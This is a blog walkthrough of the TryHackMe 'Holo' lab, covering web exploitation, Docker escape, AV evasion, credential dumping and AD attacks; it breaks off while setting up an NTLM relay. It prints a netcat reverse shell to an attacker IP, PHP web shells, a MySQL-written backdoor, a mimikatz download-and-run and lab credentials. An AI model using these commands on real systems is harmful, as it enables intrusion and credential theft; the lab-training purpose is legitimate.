Home TryHackMe Writeup - Holo
Post
Cancel

TryHackMe Writeup - Holo

Welcome to Holo!

Holo is an Active Directory and Web Application attack lab that teaches core web attack vectors and advanced\obscure Active Directory attacks along with general red teaming methodology and concepts.

In this lab, you will learn and explore the following topics:

  • .NET basics
  • Web application exploitation
  • AV evasion
  • Whitelist and container escapes
  • Pivoting
  • Operating with a C2 (Command and Control) Framework
  • Post-Exploitation
  • Situational Awareness
  • Active Directory attacks

You will learn and exploit the following attacks and misconfigurations:

  • Misconfigured sub-domains
  • Local file Inclusion
  • Remote code execution
  • Docker containers
  • SUID binaries
  • Password resets
  • Client-side filters
  • AppLocker
  • Vulnerable DLLs
  • Net-NTLMv2 / SMB

Initial Recon

The trusted agent has informed us that the scope of the engagement is 10.200.x.0/24 and 192.168.100.0/24. To begin the assessment, we first do a basic port scan on the target scope.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ nmap -p- 10.200.111.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 07:49 EDT
Nmap scan report for 10.200.111.33
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

Nmap scan report for 10.200.111.250
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste

Let’s break that down in more detailed scans per machine.

Machine 10.200.111.33 - Potential Web Server

As we’ve just seen, the machine exposes the ports 22,80 and 33060. These are clear indications that this a web server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ nmap -p 22,80,33060 -sC -sV 10.200.111.33

Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 07:56 EDT
Nmap scan report for 10.200.111.33
Host is up (0.053s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 35:a1:ae:72:04:51:73:20:18:2d:7a:71:d9:49:a6:12 (RSA)
|   256 a9:6e:7e:6b:71:24:15:8f:65:ba:a3:0d:cc:8f:4d:3e (ECDSA)
|_  256 41:1c:e5:6b:ba:15:a3:e7:22:79:b2:30:f8:5a:a3:e8 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.5.3
|_http-title: holo.live
| http-robots.txt: 21 disallowed entries (15 shown)
| /var/www/wordpress/index.php 
| /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php 
| /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php 
| /var/www/wordpress/wp-content /var/www/wordpress/wp-includes 
| /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php 
| /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php 
| /var/www/wordpress/license.txt /var/www/wordpress/upgrade 
|_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

The nmap output confirms our initial guess. On port 22, we have an OpenSSH 8.2p1 Ubuntu server running. Port 80 exposes a WordPress 5.5.3 instance and port 33060 seems to be some kind of mysql service.

Machine 10.200.111.250

While the first machine gave us clear indications for its purpose, the situation with the 2nd machine 10.200.111.250 are not as clear yet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ nmap -p 22,1337 -sC -sV 10.200.111.250
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-07 08:00 EDT
Nmap scan report for 10.200.111.250
Host is up (0.054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f5:40:87:67:88:a9:a6:ea:9c:66:de:c0:c0:42:13:c5 (RSA)
|   256 c2:c7:20:b1:d7:fd:c3:65:d7:bc:77:96:c0:c0:7f:cf (ECDSA)
|_  256 c9:84:a8:13:ed:c7:98:80:20:e6:f5:81:8a:c5:a5:2d (ED25519)
1337/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap output gives us some more insight into the machine. On port 22 we a sligtly older version of SSH running, namely OpenSSH 7.6p1 Ubuntu. Port 1337 exposes some kind of Node.js Express application. We will have a look at that later.

Web App Exploitation - L-SRV01 (10.200.111.33)

Looking at the exposed Wordpress application via the Browser, we see the following:

Looking at the bottom left, we see that the browser tries to contact www.holo.live for loading the included images. Knowing that, we can add the domain name to our /etc/hosts/ file and then reload the page using the correct domain: This gives us the following page:

At this point, we could proceed with the actual assessment of the web application running on L-SRV01. But, there might be the possibility that there are even more vhosts/subdomains. So before continuing, let’s do some more enumeration using gobuster vhost. In order to do that we also have to add the domain holo.live to our /etc/hosts as this is the base name for the domain discovery.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ gobuster vhost -u holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://holo.live
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/06/07 08:18:35 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.holo.live (Status: 200) [Size: 7515]
Found: admin.holo.live (Status: 200) [Size: 1845]
Found: www.holo.live (Status: 200) [Size: 21405] 

As expected! There are more vhosts: dev.holo.live and admin.holo.live. Let’s add all of them to the /etc/hosts file. It should now look similar to that (it’s also possible to add everything in one line but I prefer this for the sake of readability):

1
2
3
4
10.200.111.33 holo.live
10.200.111.33 www.holo.live
10.200.111.33 admin.holo.live
10.200.111.33 dev.holo.live

Fuzzing the Web Application

Now that we have a basic idea of the web server’s virtual host infrastructure, we can continue our asset discovery by brute-forcing directories and files. For that, we use the tool feroxbuster.

We run the following command with all three domains:

1
feroxbuster -u http://DOMAIN.holo.live -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -s 200 -d 1

The -x flag specifies that we are specifically looking for .php files. The -s flag determines which HTTP Response codes should be part of the output and finally the -d flag tells feroxbuster to only go to a directory depth of max 1. The results of the directory scans can be seen here:

Most interesting for us, there are two robots.txt files. Once at the www.holo.live domain and another one at the admin.holo.live domain. Let’s have a look at them.

Here, we see the robots.txt file of www.holo.live. Besides several Wordpress related files, we see nothing really interesting here.

And here’s the robots.txt file of admin.holo.live. This looks much more promising! There is an entry called var/www/admin/supersecretdir/creds.txt.

However, when accessing this file, we get 403 - Forbidden:

Exploitation - img.php

Looking back at the feroxbuster output, we see that the dev.holo.live domain has an img.php file. This file is most likely responsible for loading/managing images. Thus, this endpoint must have some GET/POST parameters. This is however a common source for crucical mistakes such as non-sanitized user input being used for including files (allowing LFI/RFI).

For the parameter fuzzing process, we use the tool wfuzz. But first, by investigating the source code of dev.holo.live, we see an image being included with the path `images/hololive.png. We will use that image as validation-image.

Next, we start the fuzzer with the following command:

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt --hw 0 http://dev.holo.live/img.php?FUZZ=images/hololive.png

The ouput is pretty obvious: The parameter file in combination with the provided image path returns something! This means, this parameter does exist! And now we can proceed with testing this parameter for vulnerabilities i.e. testing it for LFI and RFI.

As we are dealing with an Ubuntu machine, a common file to test for a possible inclusion (LFI) is the /etc/passwd file. Providing this file as the file parameter for the img.php results in the following output:

The /etc/passwd file is included in the server response! Amazing! We got a working LFI! Also, remember the credentials file located at /var/www/admin/supersecretdir/creds.txt which was mentioned in the robots.txt? We now have a way to access it!

There we go. We got the credentials admin:DBManagerLogin!

Exploitation - dashboard.php

Using these credentials for the admin.holo.live login, we can see a fancy dashboard (dashboard.php).

Method 1

Sadly, the dashboard does not really reveal any functionality. But, this time we don’t have to guess anything. This time, we got full access to the code of the application due to the LFI! We can simply use the LFI to leak all source code. Unfortunately, we cannot directly leak .php files as the code will be executed before it’s included in the server’s response. However, there is a nice trick using the php:// wrapper. This wrapper allows us to execute several things such as encodings like bas64 before the code is handled by the server.

The request using the php wrapper looks as follows:

1
http://dev.holo.live/img.php?file=php://filter/convert.base64-encode/resource=/var/www/admin/dashboard.php

And that’s the response:

Now, we take that base64 encoded response and decode it.

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$  echo "RESPONSE HERE" | base64 -d > dashboard.php

Looking through the code we can immediately spot a crucial vulnerability that leads to RCE!

Excerpt of the leaked dashboard.php file

1
<?php if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);}?>

We can provide a GET parameter called cmd which serves as input for the passthru() function. The developer couldn’t have made it easier for us. It’s literally an invitation to hack the server.

Method 2

Without the LFI, we could have still discovered the RCE. But we would have needed some more luck at guessing.

The guess is, again, that the endpoint hides some GET/POST parameters that we have to discover. But all fuzzing attempts for LFI/RFI failed. That’s why we also tested for RCE. This time, instead of providing a path to a valid image, we included some basic command such as id to see if we get any response. Also, as the dashboard requires a valid login, we have to provide an authenticated cookie to the fuzzer such that we are not always hitting the “redirect to login”-wall.

The command for fuzzing for RCE is the following:

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ wfuzz -b PHPSESSID=619uib13epnc8a9aon4dr325ta -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt --hw 1052 http://admin.holo.live/dashboard.php?FUZZ=id

The output is again very promising! We get some response with the parameter cmd! This looks like we got RCE!

Here we see what we’ve previously confirmed by looking at the code: The viewers count is implemented using the passthru() function. Thus, the views are replaced with the command output!

Method 3

The code is also available as a comment in the source code:

Once again, we see that enumeration is key to everything!

Initial Foothold

Great. So we found a way to execute code on the machine. Let’s use that to actually establish a fully interactive reverse shell. Therefore, we first have to check for existing helpful tools on the target machine. One of them would be e.g. nc. Let’s check if the nc binary exists:

Perfect. nc is installed!

Now we start a nc listener on our attacker machine and simply include a nc based reverse shell as the cmd parameter. The reverse shell code we used is the following:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.50.108.41 4444 >/tmp/f

Once everything is executed, we have an established reverse shell as user www-data:

Post Exploitation / Situational Awareness - Enumeration of the Web Server

After stabilizing the shell, we can start with the Post Exploitation enumeration i.e. finding ways for privilege escalation. The first thing to notice is that the hostname is 14c75992b944. This is a strong indiciation that we are not on the real L-SRV01 machine but in a docker container. To confirm that, we can have a look at the /proc/ANY PID/cgroup:

On a standard Linux system it should be rather empty. On the container however, the file is filled with control group entries. So here we can definitely confirm that we are within a docker container!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@14c75992b944:/$ cat /proc/1/cgroup
12:pids:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
11:hugetlb:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
10:cpuset:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
9:cpu,cpuacct:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
8:blkio:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
7:net_cls,net_prio:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
6:rdma:/
5:perf_event:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
4:memory:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
3:devices:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
2:freezer:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
1:name=systemd:/docker/14c75992b944cb23c099906c7934d31cbd7de12c59c0d536e3966ed47dbe3613
0::/system.slice/containerd.service

Since we are in a container we probably also have a different internal IP address. We can verify that by running ifconfig:

1
2
3
4
5
6
7
8
www-data@14c75992b944:/tmp/babbadeckl$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
        ether 02:42:c0:a8:64:64  txqueuelen 0  (Ethernet)
        RX packets 536506  bytes 50426876 (50.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 506501  bytes 768981897 (768.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Mhm. The current IP address is 192.168.100.100. The gateway of the container can be determined with arp -a. The gateway is located at 192.168.100.1. Let’s see if we can somehow communicate with it.

1
2
www-data@14c75992b944:/tmp/babbadeckl$ arp -a
ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) at 02:42:13:ae:e5:ea [ether] on eth0

For that, we first conduct a port scan to check for open ports on the gateway. In this case, we decided to go for a simple bash-based one-liner:

1
2
3
4
5
www-data@14c75992b944:/tmp/babbadeckl$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open

Here, we see that the gateway has 4 open ports:

  • Port 22 - most likely SSH
  • Port 80 and Port 8080 - most likely web servers
  • Port 3306 - most likely an SQL server

That seems promising! If we can somehow find/figure out the database credentials, we might be able to leak information from the gateway database. So let’s search the container for configuration files that might include database credentials. If they exist, they are probably located in the /var/www directory.

In the /var/www/wordpress/ directory, we find a file called wp-config.php. This file contains database credentials. However, the DB_HOST refers to localhost, which is not our target. So these are probably not our wanted credentials. We will still keep them in mind.

1
2
3
4
5
6
7
define( 'DB_NAME', 'wordpress' ); 
/** MySQL database username */
define( 'DB_USER', 'admin' ); 
/** MySQL database password */
define( 'DB_PASSWORD', 'DBManagerLogin!' );                           
/** MySQL hostname */
define( 'DB_HOST', '127.0.0.1' );  

Next, in the /var/www/admin directory, there is a file called db_connect.php. This file contains exactly what we were looking for! Database credentials for the DB_SRB 192.168.100.1!

1
2
3
4
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

SQL Server on Gateway

We can now use the obtained credentials to connect to the SQL server on 192.168.100.1 (Gateway) - Port 3306. To do so, we use the command:

1
2
mysql -h 192.168.100.1 -u admin -p 
Enter password: !123SecureAdminDashboard321!

This gives us full access to the database! We can now search for sensitive data. Most interesting for us would be some credentials that can then be used for SSH access to the gateway. Let’s see if we can find something that might help us.

Here, we can identify a user called gurag. Hmm…

Docker Breakout

Maybe we can use something else. Let’s have a look at the privileges of our current MySQL user admin:

If we look that up the privileges of MySQL in the official MySQL documentation, we see that the FILE permission allows us to access and thus also to write/alter files on the server host. This is perfect, as the server is also running a web server which is exposed either via port 80 or port 8080. This means, we can create a legit backdoor via MySQL that we can then access via the web server.

1
2
mysql> select '<?php $cmd=$_GET["babb"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell_babbadeckl.php';
Query OK, 1 row affected (0.00 sec)

Now we can simply use that backdoor as follows:

1
2
www-data@db3559360d5b:/tmp$ curl http://192.168.100.1:8080/shell_babbadeckl.php?babb=id    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So let’s establish a reverse shell. Therefore, as seen in the screenshot below, we first create a reverse shell payload. Then, we host this payload in a file on an HTTP server. Afterwards, we use the backdoor to upload the reverse shell code onto the DB/Web Server. Finally, we execute the code and catch the reverse shell on our local attacker machine:

Perfect! We have access to the web server 10.200.111.33 aka L-SRV01 as www-data.

Privilege Escalation

Let’s continue with some basic enumeration of the server. This includes, getting the server OS, architecture, kernel version, SUID binaries, capabilities etc. Obviously, we could use something like linpeas for that, but for the sake of practice, we will do it manually.

When running the command for SUID binary discovery, we find something very interesting. The docker binary has the SUID bit set! This means we can use that binary for privilege escalation.

1
2
3
4
5
6
7
find / -perm -u=s 2>/dev/null

...
/usr/bin/umount
/usr/bin/docker         <---- BINGO
/usr/bin/fusermount 
...

If you are not familiar with privilege escalation using docker, here is a guide. Otherwise, we can just check for existing images using:

1
2
3
4
5
6
7
8
www-data@ip-10-200-111-33:/var/www$ docker images

REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
<none>              <none>              cb1b741122e8        16 months ago       995MB
<none>              <none>              b711fc810515        17 months ago       993MB
<none>              <none>              591bb8cd4ef6        17 months ago       993MB
<none>              <none>              88d15ba62bf4        17 months ago       993MB
ubuntu              18.04               56def654ec22        20 months ago       63.2MB

Then, we simply take one of those existing images and mount the root directory / of the current machine to the /mnt directory of the docker container we are about to start. This can be done using the following command:

1
www-data@ip-10-200-111-33:/var/www$ /usr/bin/docker run -v /:/mnt --rm -it cb1b741122e8 chroot /mnt sh

Now we can access the host’s filesystem via the mounted directory on the container:

Post Exploitation

Now that we have root access to the system, we can look through the filesystem and gather useful information which might help us to gain persistent access to the system. Useful information could be e.g. SSH Keys or User credentials. As we cannot find any ssh keys, we could either create some as a backdoor or we can proceed looking for the password hashes in the /etc/shadow file. Here, we will do the latter.

In the /etc/shadow file, we find 3 password hashes for the users root, ubuntu and linux-admin. Let’s try to crack them locally.

Hashcat - Password Cracking

Since we got the hashes of all existing users on the L-SRV01 machine, we can proceed with attempting to crack them. Therefore, we use the tool hashcat on our local machine:

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]                          
└─$ hashcat -m 1800 lsrv01_linux_admin_hash /usr/share/wordlists/rockyou.txt 

After an hour of cracking, we finally got the password!!

Pivoting & Enumeration

For pivoting into the internal network, we use sshuttle. This is fairly easy to use. But, this only works via SSH. So most likely won’t work on windows machines. There we’d to use chisel.

The following command creates the connection to the internal network which behaves similar to a VPN connection:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ sshuttle -r linux-admin@10.200.111.33 10.200.111.0/24
[local sudo] Password: 
linux-admin@10.200.111.33's password: 
                                      c : Connected to server.
Failed to flush caches: Unit dbus-org.freedesktop.resolve1.service not found.
fw: Received non-zero return code 1 when flushing DNS resolver cache.

Unfortunately, sshuttle is only able to tunnel TCP packets, thus for host discovery (ICMP packets) we have to execute the following code on the L-SRV01 machine:

1
2
3
4
5
6
7
8
for i in {1..254} ;do (ping -c 1 10.200.111.$i | grep "bytes from" | awk '{print $4}' | cut -d ":" -f 1 &) ;done

10.200.111.1
10.200.111.30
10.200.111.33
10.200.111.31
10.200.111.35
10.200.111.250

This gives us a list of all reachable machines from within the internal network. Next, we scan for open ports on these machines. Again we use a bash one-liner which is executed on the L-SRV01 machine:

1
for ip in 30 31 35; do echo "10.200.111.$ip:"; for i in {1..15000}; do echo 2>/dev/null > /dev/tcp/10.200.111.$ip/$i && echo "$i open"; done; echo " ";done;

We see, all of the three machines (.30,.31 and .35) do have various open ports. Machine .30 seems to be a bit more powerful than the rest, so the assumption here is that this is the running domain controller (has DNS and Kerberos ports open). The other two machines seem to be standard windows machines. So let’s first investigate the .31 machine.

Web App Exploitation - 10.200.111.31 (S-SRV01)

Getting access

Looking at the web application of the .31 machine, we see something similar to what we have seen before: a login page for holo.live.

However, this time, we also have a password reset functionality, which only requires a username. As we are in posession of several usernames, we can try to bruteforce for an existing username on this website. Eventually, we suceeded using the username gurag, which was the username we found in the MySQL database.

When we intercept the request of resetting the password, we spot something very interesting! The request to the password_reset.php endpoint requires a user_token GET parameter to fully reset the password. If we do not provide it, it just drops the message An email has been sent to the mail associated with your username. But, in this response, there is also a valid user_token cookie, which is probably meant to be for the user when he/she clicks on the link in the mail to reset the password. What happens if we use this user_token in our malicious password reset?

Well … We get redirected to the password reset page reset.php. Woooops.

Now we can reset the password of the user gurag and then use the credentials to log in.

Homepage

Finally, when we use these credentials, we see the home page of the web application. It seems to be some kind of image upload page.

When we click the button, we are redirected to img_upload.php. This is where we can then upload images to the website.

Now the question is: what does it do? How does it work? Which file-extensions does it accept? To answer these questions, let’s first behave like a regular user. This means, we try to upload a valid image file - in this case a .png - and then we observe the behaviour of the system.

When we upload a file called test.png, we get the message: The file test.png has been uploaded.. Great. So we know we can upload .png files. But where to? There must be an uploads directory somewhere. Let’s use feroxbuster to reveal that directory.

The uploads directory is called Images! Looking at this directory, we even see that directory listing is enabled. And we can see our uploaded file. If we click on it, it gets displayed in the browser. Perfect!

Now let’s see what happens if we try to upload .php code. If that works, we immediately have RCE. We select our test.php file, which contains <?php echo "WORKS!!!"; ?> and press the upload button. And again… we get the message The file test.php has been uploaded. Cool! That was strangely simple. Maybe I’ve missed something, but let’s continue for now.

Looking at the upload directory, we can also see the file. And if we click on it, it displays a website with a single word on it: WORKS!!!.

Now let’s try a web shell. This time we include the code <?php echo system('$_GET["cmd"]'); ?> . This will provide us with the possibility to execute commands via the URL. However, when uploading and executing this, we get an error message:

So what is going on? My guess is that there is some kind of Antivirus (AV) software that detects our shell and thus prevents the execution.

AV Evasion

To understand how to bypass AV’s let’s first have a look at the the AV’s and the various techniques.

Anti Malware Scan Interface (AMSI)

“The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.” https://tryhackme.com/room/hololive. For further references: https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

For more information about the variety of bypasses available, check out this GitHub repo. Such kind of AMSI bypass was also expected from the THM room.

However, in my opinion this was a bit of an overkill. Nice to practice AMSI bypasses but something like that also works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

Post Exploitation

First, we use the uploaded webshell to enumerate the system. During that process, we discover that we are dealing with an x64 based windows system. Further, we have nt authority\system access. This means, we can dump passwords from the memory/cache. Therefore, we upload a 64-bit mimikatz.exe binary.

1
powershell.exe Invoke-WebRequest  http://10.50.108.41/mimikatz.exe -outfile  mimikatz.exe

We can use mimikatz as follows:

1
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

This dumps all hashes and passwords from users that are currently logged in. Here, we see a user called watamet and his/her plaintext password: watamet:Nothingtoworry! (NTLMhash: d8d41e6cf762a8c77776a1843d4141c9)

We can now use these credentials to further enumerate the internal network.

Enumeration

As we are now in posession of new credentials that are valid in the AD domain HOLOLIVE, we can try to log in to other machines. First, we use crackmapexec to search for existing SMB servers in the internal network.

The output gives us information about the existence of several SMB servers. One of them is the 10.200.111.35 machine which is named PC-FILESRV01. Also, crackmapexec shows that the credentials can be used to access the SMB shares. Next, we manually check out the existing shares of the PC-FILESRV01 using the obtained credentials. Here we see some interesting shares. Let’s check out the Users share.

Using the following command, we connect to the Users share:

1
2
┌──(kali㉿kali)-[~/THM/rooms/holo]
└─$ smbclient //10.200.111.35/Users -U HOLOLIVE/watamet

Here, we find one of the user.txt files. Besides that no other interesting files were discovered. However, we get the information, that user watamet is not only given access to the SMB shares but is also a legitimate user on the system. So let’s connect to the system via RDP.

Situational Awareness

Now that we have access to the system, we again have to first understand the system that we are working with. For that, we can use the tool Seatbelt. This tool basically does all the enumeration for us, giving us tons of information to work with.

The Github repository for Seatbelt can be found here. For whatever reason, the authors however do not provide pre-compiled binaries. So we either do that manually by installing a C# environment on our machine (which I - as a non C# developer - would consider as a complete overkill) or we simply use the pre-compiled binaries of another user (thanks to r3motecontrol who provides all pre-compiled versions on Github)

Once we have transferred the pre-compiled binary to the target machine .35, we can run it with the following command:

1
.\Seatbealt.exe -group=system

The output is an insane amount of information. Probably too large to put it in this writeup. However, we gets lots of information about installed AV software, about Anti Malware software, about the network structure, about users, about privileges etc…

To break all that information down, we additionally gonna use PowerView.ps1. Powerview is an amazing powershell script that comes with various functions which immensely help with the enumeration of Active Directory. To import PowerView.ps1, we first have to transfer the script to the target machine. Then, we open Powershell and run the command Import-Module .\PowerView.ps1. After that we have access to all the functions provided by PowerView. Here are the most important commands:

1
2
3
4
5
6
7
8
9
10
# enumerate/list all groups present on a local machine/computer
Get-NetLocalGroup
# enumerate/list all members of a local group such as users, computers, or service accounts
Get-NetLocalGroupMember
# enumerate/list all users currently logged onto the local machine/computer
Get-NetLoggedon
# enumerate/list the active directory domain GPOs installed on the local machine
Get-DomainGPO
# check all hosts connected to the domain and check if the current user or listed user is a local administrator
Find-LocalAdminAccess

Also Powershell itself provides many useful commands that we can utilize for the enumeration of the local system.

1
2
3
4
5
6
7
8
9
10
11
12
# list/enumerate all the scheduled tasks present on the system
Get-ScheduledTask
# list/enumerate all the scheduled tasks present on the system which are located in the Users directory
Get-ScheduledTask -TaskPath "\Users\*"
# list specific information on specified Tasks allowing the attacker to identify the task and how it could be exploited
Get-ScheduledTaskInfo -TaskName <Full Path>
# enumerate a user's groups or all groups within the domain. If it throws an error, you need to run the upcoming command
Import-Module ActiveDirectory; Get-ADGroup
# only possible in elevated powershell window - enables the ActiveDirectory module
Add-WindowsFeature RSAT-AD-PowerShell
# etrieve the groups a user, computer group, or service account is a member of (also only works with the ActiveDirectory module)
Get-ADPrincipalGroupMembership

Privilege Escalation

Finally, it’s time for privilege escalation. During the enumeration phase, we have gathered a lot of information that can now be used to elevate our privileges! According to the task description we should have found a scheduled task named kavremover.exe. However, it appears that the machine is broken. Even a network reset does not fix the problem. Luckily, the last patch for the machine was installed on 11/11/2020. This means, it most likely vulnerable to the famous PrintNightmare exploit that was published in 2021.

There are tons of available working exploits out there. My favourite one is this one here by calebstewart. It’s a simple PowerShell shell that provides the Invoke-Nightmare function to create a new admin user. The steps and the result can be seen below:

We can now use this new user to log in via RDP.

There we go! We got administrator access to the PC-FILESRV01 machine!

NTLM Relay

Background Information - NTLM and NTLM authentication

Let’s quickly recap what NTLM is. If not stated otherwise, the following definitons and authentication protocol steps are taken from the official(https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm?redirectedfrom=MSDN).

Windows Challenge/Response (NTLM) is the authentication protocol used on networks that include systems running the Windows operating system and on stand-alone systems. NTLM credentials are based on data obtained during the interactive logon process and consist of a domain name, a user name, and a one-way hash of the user’s password. NTLM uses an encrypted challenge/response protocol to authenticate a user without sending the user’s password over the wire. Instead, the system requesting authentication must perform a calculation that proves it has access to the secured NTLM credentials.

“Net-NTLMv1 is a challenge/response protocol that uses NTHash. This version will use both NT and LM hashes. You can find the algorithm used to hash below.” . Source: https://tryhackme.com/room/hololive

1
C = 8-byte server challenge, random K1 | K2 | K3 = LM/NT-hash | 5-bytes-0 response = DES(K1,C) | DES(K2,C) | DES(K3,C)

“Net-NTLMv2 is an updated version of Net-NTLMv1. This hash protocol will use the same processes as v1 but will use a different algorithm and response. This version is the default since Windows 2000.” Source: https://tryhackme.com/room/hololive

1
SC = 8-byte server challenge, random CC = 8-byte client challenge, random CC* = (X, time, CC2, domain name) v2-Hash = HMAC-MD5(NT-Hash, user name, domain name) LMv2 = HMAC-MD5(v2-Hash, SC, CC) NTv2 = HMAC-MD5(v2-Hash, SC, CC*) response = LMv2 | CC | NTv2 | CC*

The following steps present an outline of NTLM noninteractive authentication:

  1. The first step provides the user’s NTLM credentials and occurs only as part of the interactive authentication (logon) process. (Interactive authentication only) A user accesses a client computer and provides a domain name, user name, and password. The client computes a cryptographic hash of the password and discards the actual password.
  2. The client sends the user name to the server (in plaintext).
  3. The server generates a 8-byte random number, called a challenge or nonce, and sends it to the client.
  4. The client encrypts this challenge with the hash of the user’s password and returns the result to the server. This is called the response.
  5. The server sends the following three items to the domain controller:
    • User name
    • Challenge sent to the client
    • Response received from the client
  6. The domain controller uses the user name to retrieve the hash of the user’s password from the Security Account Manager database. It uses this password hash to encrypt the challenge.
  7. The domain controller compares the encrypted challenge it computed (in step 6) to the response computed by the client (in step 4). If they are identical, authentication is successful.

Select a target

During our enumeration we discovered several machines. The only machines remaining are 10.200.111.30 (the potential DC) and the 10.200.111.32 machine. Let’s see if we can access their SMB shares.

Here we can clearly see that the latter machine refuses the SMB connection. So we’ve determined our target: 10.200.111.30.

Exploitation - NTLMRelay

To begin configuring the server for the exploit, we will need to start turning off SMB services and restart the server. Find an outline of the steps taken below.

Begin by disabling NetLogon.

1
sc stop netlogon

Next, we need to disable and stop the SMB server from starting at boot. We can do this by disabling LanManServer and modifying the configuration.

1
2
sc stop lanmanserver
sc config lanmanserver start= disabled

To entirely stop SMB, we will also need to disable LanManServer and modify its configuration.

1
2
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

Finally, we restart the machine.

1
shutdown -r

Once the machine is online again, we use RDP to log in to the machine. Now we have to set up a port forwarding from port 445 to our attacker machine on port 445. This can be done in multiple ways. Here, in this Holo network, it was recommended to use metasploit. As I’ve previously always used socat, I went for metasploit this time.

Therefore, we first have to get a meterpreter shell. For that, we create a reverse shell payload using msfvenom:

